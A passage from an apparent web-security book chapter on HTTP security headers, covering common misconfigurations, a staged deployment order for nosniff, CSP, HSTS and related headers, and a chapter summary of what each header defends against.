API endpoints need security headers too. X-Content-Type-Options: nosniff is critical for JSON APIs to prevent MIME sniffing. Content-Type: application/json without nosniff can be interpreted as HTML in older browsers.
6. CSP report floods from browser extensions:
Browser extensions trigger CSP violations because they inject scripts into your pages. Filter reports by source-file — extensions show up as chrome-extension:// or moz-extension://. Without filtering, you'll drown in false positives and miss real attacks.
7. Forgetting subdomains in HSTS:
Without includeSubDomains, each subdomain needs its own HSTS header. An attacker can use http://forgot-this.example.com to set cookies that override example.com cookies — a cookie tossing attack.
Do not copy security headers from Stack Overflow without understanding them. A misconfigured CSP can break your site. A too-permissive CORS policy can expose your users. Deploy changes in report-only mode or staging environments first, monitor for issues, then promote to production.
The deployment order matters:
1. Add `X-Content-Type-Options: nosniff` — safe, breaks nothing
2. Add `X-Frame-Options: DENY` — safe unless you use iframes
3. Add `Referrer-Policy` — safe, users won't notice
4. Add `Permissions-Policy` — safe unless you use camera/mic/etc.
5. Add CSP in report-only mode — monitor for weeks
6. Switch CSP to enforcing — with nonce infrastructure in place
7. Add HSTS with short max-age — then gradually increase
8. Add HSTS preload — only when fully confident
What You've Learned
This chapter covered the HTTP security headers that form the browser-side layer of your defense strategy:
-
Same-Origin Policy is the browser's foundational security mechanism. It prevents JavaScript from reading cross-origin responses. Security headers either strengthen or carefully relax this default.
-
CORS controls which cross-origin requests are allowed. Use explicit origin allowlists, never reflect the Origin header, always include
Vary: Origin, and be cautious withAccess-Control-Allow-Credentials. -
CSP restricts what resources your page can load and execute. Nonce-based CSP with
'strict-dynamic'is the strongest approach because it is immune to domain-based bypasses. Deploy in report-only mode first and iterate. -
HSTS forces HTTPS and prevents SSL stripping attacks. Use
max-ageof at least one year, include subdomains, and submit to the preload list — but only after auditing all subdomains. -
X-Frame-Options / frame-ancestors prevents clickjacking by controlling who can frame your pages. Use both headers for maximum compatibility.
-
X-Content-Type-Options prevents MIME sniffing attacks with a single
nosniffdirective. Always pair with accurate Content-Type headers. -
Referrer-Policy controls what URL information leaks to external sites via the Referer header. Use
strict-origin-when-cross-originfor most sites,no-referrerfor sensitive applications. -
Permissions-Policy restricts which browser APIs your page can access, limiting the impact of XSS and compromised third-party scripts.
-
Audit regularly using curl, browser dev tools, online scanners (SecurityHeaders.com, Mozilla Observatory), and automated CI/CD checks.
The browser is your ally — but only if you give it instructions. Without security headers, the browser uses permissive defaults from the early web era. With them, you have a second line of defense that can stop XSS, clickjacking, MIME sniffing, protocol downgrade, and data leakage — even when your application code has a flaw. The headers take five minutes to configure and protect you for years.